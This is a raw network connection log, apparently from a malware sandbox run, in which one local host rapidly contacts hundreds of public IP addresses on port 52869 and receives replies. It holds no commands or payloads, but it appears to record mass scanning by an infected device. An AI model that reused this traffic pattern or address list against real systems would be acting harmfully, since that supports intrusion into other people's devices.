Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	138.119.31.188
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	165.250.98.90
Jul 20, 2024 23:00:57.762732983 CEST	33453	52869	192.168.2.23	9.52.191.196
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	159.155.253.39
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	85.197.161.194
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	78.97.110.55
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	105.216.165.190
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	63.192.2.217
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	100.206.179.252
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	83.222.96.61
Jul 20, 2024 23:00:57.762852907 CEST	33453	52869	192.168.2.23	119.158.28.61
Jul 20, 2024 23:00:57.763676882 CEST	8081	47596	198.50.246.46	192.168.2.23
Jul 20, 2024 23:00:57.764235973 CEST	33453	52869	192.168.2.23	161.88.178.139
Jul 20, 2024 23:00:57.764235973 CEST	33453	52869	192.168.2.23	196.61.91.110
Jul 20, 2024 23:00:57.764235973 CEST	33453	52869	192.168.2.23	147.27.194.103
Jul 20, 2024 23:00:57.764235973 CEST	33453	52869	192.168.2.23	19.211.108.133
Jul 20, 2024 23:00:57.764235973 CEST	33453	52869	192.168.2.23	70.159.126.231
Jul 20, 2024 23:00:57.764236927 CEST	33453	52869	192.168.2.23	97.19.153.140
Jul 20, 2024 23:00:57.764236927 CEST	33453	52869	192.168.2.23	31.134.106.72
Jul 20, 2024 23:00:57.764236927 CEST	33453	52869	192.168.2.23	190.82.34.140
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	146.156.174.76
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	128.8.2.72
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	79.133.139.82
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	165.244.0.43
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	169.160.7.192
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	143.166.2.70
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	130.236.86.199
Jul 20, 2024 23:00:57.764291048 CEST	33453	52869	192.168.2.23	60.15.72.158
Jul 20, 2024 23:00:57.764806032 CEST	33453	52869	192.168.2.23	71.44.189.33
Jul 20, 2024 23:00:57.764806032 CEST	33453	52869	192.168.2.23	75.227.202.126
Jul 20, 2024 23:00:57.764806032 CEST	33453	52869	192.168.2.23	51.219.60.152
Jul 20, 2024 23:00:57.764806032 CEST	33453	52869	192.168.2.23	217.47.5.81
Jul 20, 2024 23:00:57.764806032 CEST	33453	52869	192.168.2.23	191.112.208.138
Jul 20, 2024 23:00:57.764806032 CEST	33453	52869	192.168.2.23	178.8.185.149
Jul 20, 2024 23:00:57.764806986 CEST	33453	52869	192.168.2.23	66.175.93.134
Jul 20, 2024 23:00:57.764806986 CEST	33453	52869	192.168.2.23	197.199.166.178
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	46.131.140.95
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	143.60.108.6
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	36.7.166.113
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	174.80.129.60
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	78.188.28.34
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	23.131.217.163
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	85.59.212.209
Jul 20, 2024 23:00:57.764933109 CEST	33453	52869	192.168.2.23	190.175.86.169
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	97.124.234.90
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	23.235.53.236
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	83.146.240.185
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	53.26.40.36
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	89.49.165.226
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	179.95.107.26
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	140.7.148.108
Jul 20, 2024 23:00:57.765098095 CEST	33453	52869	192.168.2.23	68.4.153.69
Jul 20, 2024 23:00:57.765328884 CEST	52869	33453	86.47.78.100	192.168.2.23
Jul 20, 2024 23:00:57.765398979 CEST	52869	33453	220.67.103.53	192.168.2.23
Jul 20, 2024 23:00:57.765429974 CEST	52869	33453	144.107.249.224	192.168.2.23
Jul 20, 2024 23:00:57.765460014 CEST	52869	33453	80.169.60.242	192.168.2.23
Jul 20, 2024 23:00:57.765490055 CEST	52869	33453	68.39.90.74	192.168.2.23
Jul 20, 2024 23:00:57.765753031 CEST	52869	33453	189.130.12.191	192.168.2.23
Jul 20, 2024 23:00:57.765784979 CEST	52869	33453	222.190.119.99	192.168.2.23
Jul 20, 2024 23:00:57.765814066 CEST	52869	33453	76.157.23.198	192.168.2.23
Jul 20, 2024 23:00:57.765844107 CEST	52869	33453	76.83.15.33	192.168.2.23
Jul 20, 2024 23:00:57.765873909 CEST	52869	33453	23.120.218.202	192.168.2.23
Jul 20, 2024 23:00:57.765902042 CEST	52869	33453	186.67.197.253	192.168.2.23
Jul 20, 2024 23:00:57.765930891 CEST	52869	33453	208.253.85.115	192.168.2.23
Jul 20, 2024 23:00:57.765938044 CEST	33453	52869	192.168.2.23	5.250.98.81
Jul 20, 2024 23:00:57.765938044 CEST	33453	52869	192.168.2.23	57.75.171.242
Jul 20, 2024 23:00:57.765938044 CEST	33453	52869	192.168.2.23	108.35.122.184
Jul 20, 2024 23:00:57.765938044 CEST	33453	52869	192.168.2.23	48.157.142.210
Jul 20, 2024 23:00:57.765938044 CEST	33453	52869	192.168.2.23	100.208.247.134
Jul 20, 2024 23:00:57.765938044 CEST	33453	52869	192.168.2.23	43.185.30.233
Jul 20, 2024 23:00:57.765938997 CEST	33453	52869	192.168.2.23	157.60.0.68
Jul 20, 2024 23:00:57.765938997 CEST	33453	52869	192.168.2.23	48.224.185.123
Jul 20, 2024 23:00:57.765984058 CEST	52869	33453	204.171.52.138	192.168.2.23
Jul 20, 2024 23:00:57.766012907 CEST	52869	33453	186.164.30.194	192.168.2.23
Jul 20, 2024 23:00:57.766041994 CEST	52869	33453	39.233.146.21	192.168.2.23
Jul 20, 2024 23:00:57.766071081 CEST	52869	33453	139.148.235.66	192.168.2.23
Jul 20, 2024 23:00:57.766098022 CEST	52869	33453	158.144.154.108	192.168.2.23
Jul 20, 2024 23:00:57.766141891 CEST	52869	33453	98.67.50.123	192.168.2.23
Jul 20, 2024 23:00:57.766170979 CEST	52869	33453	133.74.101.145	192.168.2.23
Jul 20, 2024 23:00:57.766199112 CEST	52869	33453	113.27.90.5	192.168.2.23
Jul 20, 2024 23:00:57.766227007 CEST	52869	33453	102.157.199.89	192.168.2.23
Jul 20, 2024 23:00:57.766285896 CEST	52869	33453	52.180.202.38	192.168.2.23
Jul 20, 2024 23:00:57.766316891 CEST	52869	33453	169.150.233.153	192.168.2.23
Jul 20, 2024 23:00:57.766346931 CEST	52869	33453	96.36.95.33	192.168.2.23
Jul 20, 2024 23:00:57.766375065 CEST	52869	33453	205.163.186.184	192.168.2.23
Jul 20, 2024 23:00:57.766406059 CEST	52869	33453	32.147.255.178	192.168.2.23
Jul 20, 2024 23:00:57.766436100 CEST	52869	33453	120.169.115.81	192.168.2.23
Jul 20, 2024 23:00:57.766463995 CEST	52869	33453	172.254.31.129	192.168.2.23
Jul 20, 2024 23:00:57.766493082 CEST	52869	33453	54.14.137.23	192.168.2.23
Jul 20, 2024 23:00:57.766520977 CEST	52869	33453	114.83.107.94	192.168.2.23
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	52.149.31.113
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	132.94.197.99
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	139.152.181.250
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	190.24.73.9
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	19.140.159.40
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	183.58.92.102
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	179.24.93.113
Jul 20, 2024 23:00:57.766554117 CEST	33453	52869	192.168.2.23	216.114.143.43
Jul 20, 2024 23:00:57.766573906 CEST	52869	33453	108.46.58.101	192.168.2.23
Jul 20, 2024 23:00:57.766602039 CEST	52869	33453	193.103.59.197	192.168.2.23
Jul 20, 2024 23:00:57.766630888 CEST	52869	33453	136.238.176.112	192.168.2.23
Jul 20, 2024 23:00:57.766659021 CEST	52869	33453	36.132.135.232	192.168.2.23
Jul 20, 2024 23:00:57.766926050 CEST	33453	52869	192.168.2.23	24.247.39.207
Jul 20, 2024 23:00:57.766926050 CEST	33453	52869	192.168.2.23	110.34.236.174
Jul 20, 2024 23:00:57.766926050 CEST	33453	52869	192.168.2.23	185.151.172.27
Jul 20, 2024 23:00:57.766927004 CEST	33453	52869	192.168.2.23	76.18.117.234
Jul 20, 2024 23:00:57.766927004 CEST	33453	52869	192.168.2.23	73.72.101.82
Jul 20, 2024 23:00:57.766927004 CEST	33453	52869	192.168.2.23	198.172.99.230
Jul 20, 2024 23:00:57.766927004 CEST	33453	52869	192.168.2.23	171.26.139.248
Jul 20, 2024 23:00:57.766927004 CEST	33453	52869	192.168.2.23	150.142.190.152
Jul 20, 2024 23:00:57.766942978 CEST	52869	33453	54.29.63.153	192.168.2.23
Jul 20, 2024 23:00:57.766971111 CEST	52869	33453	174.226.55.202	192.168.2.23
Jul 20, 2024 23:00:57.766999960 CEST	52869	33453	118.30.247.113	192.168.2.23
Jul 20, 2024 23:00:57.767029047 CEST	52869	33453	187.177.85.110	192.168.2.23
Jul 20, 2024 23:00:57.767056942 CEST	52869	33453	152.193.200.154	192.168.2.23
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	76.194.180.91
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	80.40.88.69
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	206.161.223.46
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	71.221.178.128
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	156.94.252.22
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	98.19.47.4
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	155.110.191.61
Jul 20, 2024 23:00:57.767061949 CEST	33453	52869	192.168.2.23	110.61.77.157
Jul 20, 2024 23:00:57.767107964 CEST	52869	33453	131.96.153.95	192.168.2.23
Jul 20, 2024 23:00:57.767137051 CEST	52869	33453	135.200.191.111	192.168.2.23
Jul 20, 2024 23:00:57.767165899 CEST	52869	33453	89.47.234.242	192.168.2.23
Jul 20, 2024 23:00:57.767194033 CEST	52869	33453	199.18.73.232	192.168.2.23
Jul 20, 2024 23:00:57.767245054 CEST	52869	33453	221.87.31.8	192.168.2.23
Jul 20, 2024 23:00:57.767273903 CEST	52869	33453	125.86.109.39	192.168.2.23
Jul 20, 2024 23:00:57.767303944 CEST	52869	33453	116.246.53.31	192.168.2.23
Jul 20, 2024 23:00:57.767333984 CEST	52869	33453	9.110.157.12	192.168.2.23
Jul 20, 2024 23:00:57.767362118 CEST	52869	33453	194.230.22.39	192.168.2.23
Jul 20, 2024 23:00:57.767390966 CEST	52869	33453	136.120.113.61	192.168.2.23
Jul 20, 2024 23:00:57.767420053 CEST	52869	33453	110.226.62.10	192.168.2.23
Jul 20, 2024 23:00:57.767446995 CEST	52869	33453	82.71.200.36	192.168.2.23
Jul 20, 2024 23:00:57.767474890 CEST	52869	33453	109.37.177.11	192.168.2.23
Jul 20, 2024 23:00:57.767638922 CEST	33453	52869	192.168.2.23	205.219.251.124
Jul 20, 2024 23:00:57.767638922 CEST	33453	52869	192.168.2.23	4.34.22.201
Jul 20, 2024 23:00:57.767638922 CEST	33453	52869	192.168.2.23	206.99.184.250
Jul 20, 2024 23:00:57.767640114 CEST	33453	52869	192.168.2.23	149.142.23.3
Jul 20, 2024 23:00:57.767640114 CEST	33453	52869	192.168.2.23	82.22.74.187
Jul 20, 2024 23:00:57.767640114 CEST	33453	52869	192.168.2.23	174.247.162.250
Jul 20, 2024 23:00:57.767640114 CEST	33453	52869	192.168.2.23	9.106.163.225
Jul 20, 2024 23:00:57.767640114 CEST	33453	52869	192.168.2.23	92.136.213.80
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	52.56.118.79
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	53.209.174.181
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	222.150.134.44
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	100.174.220.67
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	112.172.193.54
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	183.198.179.50
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	74.133.32.209
Jul 20, 2024 23:00:57.767684937 CEST	33453	52869	192.168.2.23	162.200.201.199
Jul 20, 2024 23:00:57.767852068 CEST	52869	33453	79.149.24.140	192.168.2.23
Jul 20, 2024 23:00:57.767880917 CEST	52869	33453	182.158.145.112	192.168.2.23
Jul 20, 2024 23:00:57.767909050 CEST	52869	33453	1.75.123.148	192.168.2.23
Jul 20, 2024 23:00:57.767959118 CEST	52869	33453	167.225.108.140	192.168.2.23
Jul 20, 2024 23:00:57.767987967 CEST	52869	33453	82.37.244.9	192.168.2.23
Jul 20, 2024 23:00:57.768016100 CEST	52869	33453	34.165.228.29	192.168.2.23
Jul 20, 2024 23:00:57.768043041 CEST	52869	33453	219.15.110.97	192.168.2.23
Jul 20, 2024 23:00:57.768070936 CEST	52869	33453	88.237.142.195	192.168.2.23
Jul 20, 2024 23:00:57.768100023 CEST	52869	33453	180.174.13.101	192.168.2.23
Jul 20, 2024 23:00:57.768127918 CEST	52869	33453	144.209.127.36	192.168.2.23
Jul 20, 2024 23:00:57.768327951 CEST	52869	33453	213.226.100.36	192.168.2.23
Jul 20, 2024 23:00:57.768357992 CEST	52869	33453	175.231.12.152	192.168.2.23
Jul 20, 2024 23:00:57.768387079 CEST	52869	33453	34.52.30.101	192.168.2.23
Jul 20, 2024 23:00:57.768438101 CEST	52869	33453	153.164.44.171	192.168.2.23
Jul 20, 2024 23:00:57.768466949 CEST	52869	33453	154.141.69.109	192.168.2.23
Jul 20, 2024 23:00:57.768513918 CEST	52869	33453	69.246.36.137	192.168.2.23
Jul 20, 2024 23:00:57.768543005 CEST	52869	33453	145.16.242.35	192.168.2.23
Jul 20, 2024 23:00:57.768572092 CEST	52869	33453	65.245.198.30	192.168.2.23
Jul 20, 2024 23:00:57.768599987 CEST	52869	33453	174.122.192.66	192.168.2.23
Jul 20, 2024 23:00:57.768629074 CEST	52869	33453	157.40.141.117	192.168.2.23
Jul 20, 2024 23:00:57.768661976 CEST	52869	33453	199.101.245.99	192.168.2.23
Jul 20, 2024 23:00:57.768690109 CEST	52869	33453	152.96.247.192	192.168.2.23
Jul 20, 2024 23:00:57.768717051 CEST	52869	33453	151.208.66.135	192.168.2.23
Jul 20, 2024 23:00:57.768745899 CEST	52869	33453	188.232.101.70	192.168.2.23
Jul 20, 2024 23:00:57.768816948 CEST	52869	33453	27.25.248.43	192.168.2.23
Jul 20, 2024 23:00:57.768846989 CEST	52869	33453	95.159.80.88	192.168.2.23
Jul 20, 2024 23:00:57.768876076 CEST	52869	33453	159.155.253.39	192.168.2.23
Jul 20, 2024 23:00:57.768887997 CEST	33453	52869	192.168.2.23	78.230.96.10
Jul 20, 2024 23:00:57.768887997 CEST	33453	52869	192.168.2.23	147.182.116.156
Jul 20, 2024 23:00:57.768888950 CEST	33453	52869	192.168.2.23	87.234.11.7
Jul 20, 2024 23:00:57.768888950 CEST	33453	52869	192.168.2.23	171.76.250.79
Jul 20, 2024 23:00:57.768888950 CEST	33453	52869	192.168.2.23	78.55.159.107
Jul 20, 2024 23:00:57.768888950 CEST	33453	52869	192.168.2.23	23.235.39.33
Jul 20, 2024 23:00:57.768888950 CEST	33453	52869	192.168.2.23	47.165.106.107
Jul 20, 2024 23:00:57.768888950 CEST	33453	52869	192.168.2.23	222.89.29.245
Jul 20, 2024 23:00:57.768904924 CEST	52869	33453	150.157.229.189	192.168.2.23
Jul 20, 2024 23:00:57.768934965 CEST	52869	33453	85.197.161.194	192.168.2.23
Jul 20, 2024 23:00:57.768954992 CEST	33453	52869	192.168.2.23	74.148.51.169
Jul 20, 2024 23:00:57.768954992 CEST	33453	52869	192.168.2.23	145.49.75.100
Jul 20, 2024 23:00:57.768954992 CEST	33453	52869	192.168.2.23	162.28.76.231
Jul 20, 2024 23:00:57.768954992 CEST	33453	52869	192.168.2.23	159.15.109.198
Jul 20, 2024 23:00:57.768955946 CEST	33453	52869	192.168.2.23	37.180.100.159
Jul 20, 2024 23:00:57.768955946 CEST	33453	52869	192.168.2.23	81.57.75.126
Jul 20, 2024 23:00:57.768955946 CEST	33453	52869	192.168.2.23	98.209.72.57
Jul 20, 2024 23:00:57.768955946 CEST	33453	52869	192.168.2.23	125.245.13.249
Jul 20, 2024 23:00:57.768963099 CEST	52869	33453	174.107.183.79	192.168.2.23
Jul 20, 2024 23:00:57.768990993 CEST	52869	33453	51.28.75.23	192.168.2.23
Jul 20, 2024 23:00:57.769017935 CEST	52869	33453	205.3.223.82	192.168.2.23
Jul 20, 2024 23:00:57.769047022 CEST	52869	33453	40.123.209.61	192.168.2.23
Jul 20, 2024 23:00:57.769076109 CEST	52869	33453	140.223.195.158	192.168.2.23
Jul 20, 2024 23:00:57.769103050 CEST	52869	33453	78.97.110.55	192.168.2.23
Jul 20, 2024 23:00:57.769167900 CEST	52869	33453	5.60.141.98	192.168.2.23
Jul 20, 2024 23:00:57.769196987 CEST	52869	33453	105.216.165.190	192.168.2.23
Jul 20, 2024 23:00:57.769227028 CEST	52869	33453	42.52.130.0	192.168.2.23
Jul 20, 2024 23:00:57.769278049 CEST	52869	33453	194.216.55.169	192.168.2.23
Jul 20, 2024 23:00:57.769309998 CEST	52869	33453	79.155.217.219	192.168.2.23
Jul 20, 2024 23:00:57.769340038 CEST	52869	33453	175.52.108.141	192.168.2.23
Jul 20, 2024 23:00:57.769361973 CEST	33453	52869	192.168.2.23	46.148.228.171
Jul 20, 2024 23:00:57.769361973 CEST	33453	52869	192.168.2.23	53.169.75.121
Jul 20, 2024 23:00:57.769361973 CEST	33453	52869	192.168.2.23	13.158.244.31
Jul 20, 2024 23:00:57.769361973 CEST	33453	52869	192.168.2.23	131.60.222.211
Jul 20, 2024 23:00:57.769361973 CEST	33453	52869	192.168.2.23	72.53.240.158
Jul 20, 2024 23:00:57.769362926 CEST	33453	52869	192.168.2.23	143.164.214.1
Jul 20, 2024 23:00:57.769362926 CEST	33453	52869	192.168.2.23	61.25.196.97
Jul 20, 2024 23:00:57.769362926 CEST	33453	52869	192.168.2.23	66.178.238.205
Jul 20, 2024 23:00:57.769368887 CEST	52869	33453	27.90.186.232	192.168.2.23
Jul 20, 2024 23:00:57.769397974 CEST	52869	33453	151.222.62.102	192.168.2.23
Jul 20, 2024 23:00:57.769426107 CEST	52869	33453	40.214.234.197	192.168.2.23
Jul 20, 2024 23:00:57.769454002 CEST	52869	33453	124.37.107.8	192.168.2.23
Jul 20, 2024 23:00:57.769484043 CEST	52869	33453	39.24.175.151	192.168.2.23
Jul 20, 2024 23:00:57.769511938 CEST	52869	33453	63.192.2.217	192.168.2.23
Jul 20, 2024 23:00:57.769539118 CEST	52869	33453	183.235.126.59	192.168.2.23
Jul 20, 2024 23:00:57.769567966 CEST	52869	33453	100.206.179.252	192.168.2.23
Jul 20, 2024 23:00:57.769619942 CEST	52869	33453	149.35.135.177	192.168.2.23
Jul 20, 2024 23:00:57.769648075 CEST	52869	33453	83.222.96.61	192.168.2.23
Jul 20, 2024 23:00:57.769675970 CEST	52869	33453	75.200.220.109	192.168.2.23
Jul 20, 2024 23:00:57.769702911 CEST	52869	33453	74.49.211.120	192.168.2.23
Jul 20, 2024 23:00:57.769732952 CEST	52869	33453	119.158.28.61	192.168.2.23
Jul 20, 2024 23:00:57.769788027 CEST	52869	33453	181.131.116.195	192.168.2.23
Jul 20, 2024 23:00:57.769818068 CEST	52869	33453	161.88.178.139	192.168.2.23
Jul 20, 2024 23:00:57.769845963 CEST	52869	33453	97.64.214.88	192.168.2.23
Jul 20, 2024 23:00:57.769876003 CEST	52869	33453	151.138.63.80	192.168.2.23
Jul 20, 2024 23:00:57.769905090 CEST	52869	33453	196.61.91.110	192.168.2.23
Jul 20, 2024 23:00:57.769933939 CEST	52869	33453	97.139.212.113	192.168.2.23
Jul 20, 2024 23:00:57.769967079 CEST	52869	33453	146.156.174.76	192.168.2.23
Jul 20, 2024 23:00:57.770016909 CEST	52869	33453	104.103.214.22	192.168.2.23
Jul 20, 2024 23:00:57.770045996 CEST	52869	33453	128.8.2.72	192.168.2.23
Jul 20, 2024 23:00:57.770078897 CEST	52869	33453	19.210.201.99	192.168.2.23
Jul 20, 2024 23:00:57.770147085 CEST	52869	33453	79.133.139.82	192.168.2.23
Jul 20, 2024 23:00:57.770176888 CEST	52869	33453	186.198.49.181	192.168.2.23
Jul 20, 2024 23:00:57.770205975 CEST	52869	33453	165.244.0.43	192.168.2.23
Jul 20, 2024 23:00:57.770241022 CEST	52869	33453	71.44.189.33	192.168.2.23
Jul 20, 2024 23:00:57.770406008 CEST	52869	33453	67.222.108.138	192.168.2.23
Jul 20, 2024 23:00:57.770433903 CEST	52869	33453	46.131.140.95	192.168.2.23
Jul 20, 2024 23:00:57.770462036 CEST	52869	33453	169.160.7.192	192.168.2.23
Jul 20, 2024 23:00:57.770489931 CEST	52869	33453	143.60.108.6	192.168.2.23
Jul 20, 2024 23:00:57.770539999 CEST	52869	33453	75.227.202.126	192.168.2.23
Jul 20, 2024 23:00:57.770570040 CEST	52869	33453	143.166.2.70	192.168.2.23
Jul 20, 2024 23:00:57.770598888 CEST	52869	33453	113.107.255.30	192.168.2.23
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	89.145.75.58
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	189.131.203.242
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	24.158.238.215
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	61.23.159.236
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	4.58.6.109
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	49.231.13.77
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	197.114.217.29
Jul 20, 2024 23:00:57.770631075 CEST	33453	52869	192.168.2.23	148.144.115.175
Jul 20, 2024 23:00:57.770670891 CEST	52869	33453	9.242.198.201	192.168.2.23
Jul 20, 2024 23:00:57.770915031 CEST	52869	33453	76.27.59.12	192.168.2.23
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	146.115.170.218
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	148.117.245.110
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	194.27.223.120
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	116.37.159.31
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	62.196.158.217
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	168.13.9.61
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	42.73.135.174
Jul 20, 2024 23:00:57.771059036 CEST	33453	52869	192.168.2.23	131.83.3.68
Jul 20, 2024 23:00:57.771245003 CEST	33453	52869	192.168.2.23	209.131.249.148
Jul 20, 2024 23:00:57.771245956 CEST	33453	52869	192.168.2.23	24.177.25.104
Jul 20, 2024 23:00:57.771245956 CEST	33453	52869	192.168.2.23	69.193.75.240
Jul 20, 2024 23:00:57.771245956 CEST	54846	8081	192.168.2.23	91.130.196.71
Jul 20, 2024 23:00:57.771245956 CEST	33453	52869	192.168.2.23	153.29.80.217
Jul 20, 2024 23:00:57.771245956 CEST	33453	52869	192.168.2.23	131.212.107.26
Jul 20, 2024 23:00:57.771245956 CEST	33453	52869	192.168.2.23	126.207.63.45
Jul 20, 2024 23:00:57.771245956 CEST	33453	52869	192.168.2.23	197.15.172.225
Jul 20, 2024 23:00:57.772008896 CEST	52869	33453	120.154.80.223	192.168.2.23
Jul 20, 2024 23:00:57.772031069 CEST	52869	33453	36.7.166.113	192.168.2.23
Jul 20, 2024 23:00:57.772058964 CEST	52869	33453	51.219.60.152	192.168.2.23
Jul 20, 2024 23:00:57.772073984 CEST	52869	33453	130.236.86.199	192.168.2.23
Jul 20, 2024 23:00:57.772088051 CEST	52869	33453	217.47.5.81	192.168.2.23
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	46.156.188.15
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	133.47.93.205
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	99.64.53.181
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	106.142.248.219
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	219.244.140.170
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	197.221.89.169
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	115.178.219.100
Jul 20, 2024 23:00:57.772229910 CEST	33453	52869	192.168.2.23	211.50.234.30
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	59.64.159.34
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	34.157.238.59
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	87.105.72.16
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	68.134.246.71
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	75.165.20.52
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	43.30.5.113
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	9.134.14.26
Jul 20, 2024 23:00:57.772288084 CEST	33453	52869	192.168.2.23	189.138.177.224
Jul 20, 2024 23:00:57.772610903 CEST	52869	33453	60.15.72.158	192.168.2.23
Jul 20, 2024 23:00:57.772680044 CEST	52869	33453	191.112.208.138	192.168.2.23
Jul 20, 2024 23:00:57.772711039 CEST	52869	33453	5.250.98.81	192.168.2.23
Jul 20, 2024 23:00:57.772742033 CEST	52869	33453	117.156.47.231	192.168.2.23
Jul 20, 2024 23:00:57.772772074 CEST	52869	33453	97.124.234.90	192.168.2.23
Jul 20, 2024 23:00:57.772800922 CEST	52869	33453	178.8.185.149	192.168.2.23
Jul 20, 2024 23:00:57.772856951 CEST	52869	33453	72.249.73.229	192.168.2.23
Jul 20, 2024 23:00:57.772886038 CEST	52869	33453	57.75.171.242	192.168.2.23
Jul 20, 2024 23:00:57.772914886 CEST	52869	33453	174.80.129.60	192.168.2.23
Jul 20, 2024 23:00:57.772943020 CEST	52869	33453	108.35.122.184	192.168.2.23
Jul 20, 2024 23:00:57.772972107 CEST	52869	33453	141.113.133.124	192.168.2.23
Jul 20, 2024 23:00:57.773000956 CEST	52869	33453	66.175.93.134	192.168.2.23
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	213.233.147.101
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	113.59.191.148
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	59.89.2.86
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	79.19.98.248
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	134.248.168.82
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	27.105.70.123
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	168.34.113.44
Jul 20, 2024 23:00:57.773015022 CEST	33453	52869	192.168.2.23	132.178.31.54
Jul 20, 2024 23:00:57.773030043 CEST	52869	33453	48.157.142.210	192.168.2.23
Jul 20, 2024 23:00:57.773058891 CEST	52869	33453	78.188.28.34	192.168.2.23
Jul 20, 2024 23:00:57.773088932 CEST	52869	33453	100.208.247.134	192.168.2.23
Jul 20, 2024 23:00:57.773117065 CEST	52869	33453	197.199.166.178	192.168.2.23
Jul 20, 2024 23:00:57.773144960 CEST	52869	33453	43.185.30.233	192.168.2.23
Jul 20, 2024 23:00:57.773173094 CEST	52869	33453	138.119.31.188	192.168.2.23
Jul 20, 2024 23:00:57.773202896 CEST	52869	33453	151.150.157.129	192.168.2.23
Jul 20, 2024 23:00:57.773231030 CEST	52869	33453	165.250.98.90	192.168.2.23
